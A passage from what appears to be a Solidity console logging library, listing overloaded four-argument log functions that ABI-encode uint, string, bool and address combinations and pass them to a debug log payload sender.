_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool,address)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,uint)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,string)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,bool)", p0, p1, p2, p3));
}
function log(string memory p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,string)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,string)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, string memory p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,string)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, bool p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool,address)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,uint)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,string)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,bool)", p0, p1, p2, p3));
}
function log(bool p0, address p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool,address)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,uint)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,string)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,bool)", p0, p1, p2, p3));
}
function log(address p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,string)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,bool)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool,address)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address,uint)", p0, p1, p2, p3));
}
function log(address p0, string memory p1, address p2, string memory p3) internal view {
